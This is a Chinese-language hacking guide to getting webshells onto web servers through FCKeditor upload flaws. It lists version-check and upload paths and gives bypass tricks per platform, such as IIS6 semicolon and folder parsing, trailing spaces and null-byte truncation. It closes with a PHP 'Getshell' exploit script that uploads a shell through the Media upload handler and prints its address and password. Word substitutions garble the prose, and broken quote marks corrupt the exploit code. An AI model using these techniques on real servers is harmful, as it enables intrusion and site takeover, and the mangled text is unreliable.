FCKeditor是一个专门利用在网页上属于开放源代码的所见即所得笔墨编辑器。它志于轻量化,不须要太繁芜的安装步骤即可利用。它可和PHP、 JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP平分歧的编程措辞相结合。“FCKeditor”名称中的 “FCK” 是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。FCKeditor 相容于绝大部分的网页浏览器,像是 : Internet Explorer 5.5+ (Windows)、MozillaFirefox 1.0+、Mozilla 1.3+ 和 Netscape 7+。在未来的版本也将会加入对 Opera的增援。
0x02 判断版本
常见判断版本方法有两个:
/fckeditor/editor/dialog/fck_about.html
/FCKeditor/_whatsnew.html
0x03 上传地址
常用的上传地址A
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
常用的上传地址B
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
0x04 上传方法
ASP版
asp一样平常是搭在windows主机上,webserver一样平常为IIS6/IIS7/IIS7.5。据我现在所知,asp版的fckeditor已经可以全秒了。
<2.4.x版本(也便是2.4.x及以下)的File参数时为黑名单验证,可以通过上传.asa、.cer、.asp;jpg(针对IIS6)。如果asa、cer不被解析,还可以传.asp[空格]。传的方法便是抓包然后在数据包里的文件名后填个空格。
2.5.x和2.6.x:如果是IIS6.0 ,可以通过打破变”.”为”_”限定创建.asp文件夹,代码如下:
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2Fshell.asp&NewFolderName=z.asp
复制代码然后往这个文件夹里传jpg,这个不多说了。
如果是IIS7及以上,这种方法就傻逼了。这个时候可以借助刚爆出来的那种方法,先传shell.asp%00txt,然后再传一次。
至此,asp版本已经全秒了。
ASPX版
低版本同ASP版,2.6.x用刚爆出来的二次上传已经不好使了,不过新建test.asp的文件夹还可以使。一样平常IIS6.0会支持asp,可以先传个asp上去,然后再XX。
PHP版
1.低版本(2.4.x及以下),仍旧为黑名单验证,windows主机可以利用php[空格]传,2.4.3的有个media未设置导致任意文件上传可以秒linux。
2.2.5.x往后是白名单验证,仅能寄希望于wooyun里爆的那个<2.6.4的任意文件上传,成功率有限。
3.2.6.4以上的php版,据我所知没戏,求高人指示!我粗略的看了一下它的验证逻辑,表示没戏,windows里的敏感字符全给过滤了。
0x05 实战案例
【aspx+2.6.4】
1.上传地址:
2.上传shell.asp;.jpg变shell_asp;.jpg,然后连续上传同名文件可变为shell.asp;(1).jpg
3.shell地址:
【PHP+2.4.3】
1.Linux做事器,利用media未设置导致任意文件上传,测试POC为:
' +--------------------------------------------------------------+ NS-ASG Getshell Exploit +--------------------------------------------------------------+ '); if ($argc < 2) { print_r(' +--------------------------------------------------------------+ Example: php '.$argv[0].' localhost +--------------------------------------------------------------+ '); exit; } $host = $argv[1]; $file = 'index.php'; $path = \"大众/admin/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media\公众; $url = 'https://'.$host.$path; $fp = fopen(\"大众$file\公众,\"大众w\"大众) or die('can not write'); fwrite($fp,\"大众\"大众); fclose($fp); $data = array('NewFile'=>'@'. dirname(__FILE__).\"大众/$file\"大众); $curl = curl_init; curl_setopt ( $curl, CURLOPT_URL, $url ); // curl_setopt ( $curl, CURLOPT_SSL_VERIFYPEER, 0 ); curl_setopt ( $curl, CURLOPT_SSL_VERIFYHOST, 0 ); curl_setopt ( $curl, CURLOPT_USERAGENT, \公众Mozilla/4.0\"大众 ); @curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 ); curl_setopt ( $curl, CURLOPT_AUTOREFERER, 1 ); curl_setopt ( $curl, CURLOPT_POST, 1 ); curl_setopt ( $curl, CURLOPT_POSTFIELDS, $data ); curl_setopt ( $curl, CURLOPT_TIMEOUT, 120 ); curl_setopt ( $curl, CURLOPT_HEADER, 0 ); curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 ); $tmpInfo = curl_exec ( $curl ); if (curl_errno ( $curl )) { echo 'Errno' . curl_error ( $curl ); } curl_close ( $curl ); //echo $tmpInfo; preg_match('/201,\\公众(.)\\"大众,\\公众/iU',$tmpInfo,$matchs); $url = 'https://'.$host.$matchs[1]; print 'Shell: '.$url.' password: cmd'; ?>
2.利用办法:php.exe 1.php 202.ip.ip.ip
【JSP+2.2】
1.利用00截断上传,地址如下:
2.上传后抓包并添加00截断如下:
3.shell地址